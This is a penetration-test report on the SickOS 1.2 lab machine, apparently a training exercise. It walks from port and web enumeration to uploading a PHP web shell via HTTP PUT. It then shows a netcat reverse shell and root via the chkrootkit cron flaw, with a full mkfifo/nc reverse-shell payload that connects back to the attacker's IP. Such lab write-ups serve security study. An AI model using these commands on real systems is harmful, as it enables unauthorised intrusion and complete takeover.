

VULNERABILITY ASSESSMENT & PENETRATION TESTING REPORT

TARGET SYSTEM: SICKOS 1.2

ATTACKER MACHINE: KALI LINUX (10.0.2.15)

TARGET IP: 10.0.2.18

1. OVERVIEW

A penetration test was conducted against the SickOS 1.2 machine to identify vulnerabilities and assess the security posture of the target. The assessment revealed multiple high-risk vulnerabilities, including unrestricted HTTP PUT access, remote code execution, and a root-level privilege escalation via chkrootkit (CVE-2014-0476). Full system compromise was achieved.

2. RECONNAISSANCE & NETWORK ENUMERATION

2.1 Nmap Service Scan

Command Used:

```
(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC 10.0.2.18

[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-08 06:26 IST
Nmap scan report for 10.0.2.18
Host is up (0.0014s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256  a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp    open  http      lighttpd 1.4.28
|_ http-server-header: lighttpd/1.4.28
|_ http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:1C:00:B1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.96 seconds
```

Port	Service	Version
22/tcp	SSH	OpenSSH 5.9p1
80/tcp	HTTP	lighttpd 1.4.28

HTTP server returned default page with no title.

2.2 Full Port Scan
Command Used:

```
(kali@kali)-[~]
$ sudo nmap -sS -p- -T4 10.0.2.18

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-08 06:25 IST
Stats: 0:01:31 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 89.42% done; ETC: 06:27 (0:00:11 remaining)
Nmap scan report for 10.0.2.18
Host is up (0.0027s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:1C:00:B1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 98.71 seconds
```

All 65,535 ports scanned.
Open ports:

- 22/tcp – SSH
- 80/tcp – HTTP

3. Web Enumeration (Port 80)

3.1 Directory Brute Forcing
Command Used:

```
(kali@kali)-[~]
$ gobuster dir -u http://10.0.2.18/ -w /usr/share/wordlists/dirb/common.txt

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.0.2.18/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/index.php (Status: 200) [Size: 163]
/test (Status: 301) [Size: 0] [→ http://10.0.2.18/test/]
Progress: 4613 / 4613 (100.00%)

Finished
```

Path	Status	Notes
-----	-----	-----
`/index.php`	200	Main page
`/test`	301	Directory accessible

4. Web Vulnerability Scan – Nikto

Command Used:

```
(kali@kali)~$ sudo nikto -h http://10.0.2.18/test
- Nikto v2.5.0
+ Target IP: 10.0.2.18
+ Target Hostname: 10.0.2.18
+ Target Port: 80
+ Start Time: 2025-12-08 06:32:13 (GMT5.5)
+ Server: lighttpd/1.4.28
+ /test/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /test/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /test/: Directory indexing found.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /nikto-test-F19bzbaB.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+ OPTIONS: Allowed HTTP Methods: ARRAY(0x56331906ec60) .
+ /test/./: Directory indexing found.
+ /test/./: Appending './' to a directory allows indexing.
+ /test//: Directory indexing found.
+ /test//: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.
+ /test/%2e/: Directory indexing found.
+ /test/%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: http://www.securityfocus.com/bid/2513
+ /test/%2f/: Directory indexing found.
+ /test/%2f/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: http://www.securityfocus.com/bid/2513
+ /test///: Directory indexing found.
+ /test/?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ /test/?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ /test/test.txt: This might be interesting.
+ /test/////////: Directory indexing found.
+ /test/////////: Abyss 1.03 reveals directory listing when multiple '/'s are requested. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078
+ /test/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8104 requests: 0 error(s) and 20 item(s) reported on remote host
```

Critical Findings:

- HTTP PUT method enabled
 - Allows arbitrary files to be uploaded to /test/
- Directory indexing enabled
 - Full file listing accessible under /test/
- Lack of security headers
 - X-Frame-Options, X-Content-Type-Options missing
- Accessible test files
 - Example: test.txt, dirty.c, shell.php

These findings confirm the attack vector for uploading a malicious PHP shell.

5. Exploitation – Arbitrary File Upload (HTTP PUT)

5.1 Uploading a PHP Web Shell

Command Used:

```
(kali㉿kali)-[~]  
$ curl -X PUT -T shell.php http://10.0.2.18/test/shell.php
```

Result:

Upload succeeded. File appeared in /test/:

Name	Last Modified	Size	Type
Parent Directory/	-	-	Directory
dirty.c	2025-Dec-07 15:21:12	0.0K	text/x-csrc
shell.php	2025-Dec-07 22:35:37	0.1K	application/x-httpd-php
test.txt	2025-Dec-01 16:13:24	0.1K	text/plain
test_cmd.php	2025-Dec-07 15:01:25	0.1K	application/x-httpd-php
upload_test.php	2025-Dec-07 14:59:29	0.1K	application/x-httpd-php

lighttpd/1.4.28

6. Remote Command Execution

Command execution was verified using:

```
(kali㉿kali)-[~]  
$ curl "http://10.0.2.18/test/shell.php?cmd=id"
```

Result:

System commands executed successfully, confirming full RCE capability.

7. Reverse Shell Establishment

7.1 Listener on Attacker Machine

```
(kali㉿kali)-[~]  
$ nc -lvnp 443  
  
listening on [any] 443 ...  
█
```

7.2 Incoming Shell

```
—(kali㉿kali)-[~]  
—$ nc -lvnp 443  
  
listening on [any] 443 ...  
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.18] 47101  
/bin/sh: 0: can't access tty; job control turned off  
$ █
```

An interactive reverse shell session was obtained.

8. Privilege Escalation – chkrootkit (CVE-2014-0476)

8.1 Vulnerable Cronjob Discovery

```
ls -la /etc/cron.daily/
```

Relevant Entry:

```
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
```

This version is vulnerable and automatically executed by cron.

8.2 Malicious Payload Creation

Payload placed in /tmp/update:

```
[ -x proxy_address[:port] ] [hostname] [port[s]]
$ $ cd /tmp
$ ls
php.socket-0
update
$ echo "mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 10.0.2.15 443 > /tmp/f" > /tmp/update
$
$ ls
php.socket-0
update
$ rm update
$ ls
php.socket-0
$ echo "mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 10.0.2.15 443 > /tmp/f" > /tmp/update
$
$ ls
php.socket-0
update
$ chmod +x /tmp/update
$
```

```
echo "mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 10.0.2.15 443 > /tmp/f" > /tmp/update
chmod +x /tmp/update
```

8.3 Cron Automatically Executes chkrootkit

With the reverse shell listener running on the attack machine:

```
nc -lvnp 443
```

The system's daily cronjob executed automatically, and as soon as chkrootkit ran, it executed /tmp/update with root privileges. This resulted in an automatic incoming root shell, without any manual forcing.

8.4 Root Shell Obtained

Listener output captured:

```
(kali㉿kali)-[~]  
$ nc -lvnp 443  
  
listening on [any] 443 ...  
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.18] 47102  
/bin/sh: 0: can't access tty; job control turned off  
# whoami  
root  
# █
```

Root-level privileges were successfully gained.

9. Post-Exploitation Summary

- Web server allowed uploading executable files
- PHP remote code execution achieved
- Reverse shell obtained
- Cronjob vulnerability exploited for privilege escalation
- Complete control of target server gained

10. Recommendations

- Critical Fixes
- Disable HTTP PUT method on the web server.
- Disable directory indexing for all folders.
- Restrict uploaded file types and block execution in upload directories.
- Update or remove vulnerable chkrootkit version.
- Restrict permissions on /tmp to prevent script execution.
- Keep system and packages patched.
- **Hardening**
- Implement proper logging and monitoring.
- Install a WAF or mod_security rules.
- Enforce least-privilege access controls.
- Use strong SSH authentication.

12. Conclusion

- The SickOS 1.2 target was successfully compromised from initial access to full root control.
- Misconfigurations in the web server combined with a vulnerable chkrootkit cronjob allowed complete system takeover.
- This report outlines all discovered vulnerabilities, exploitation methods used, and remediation steps to secure the system.

Report Prepared By: Ismail TP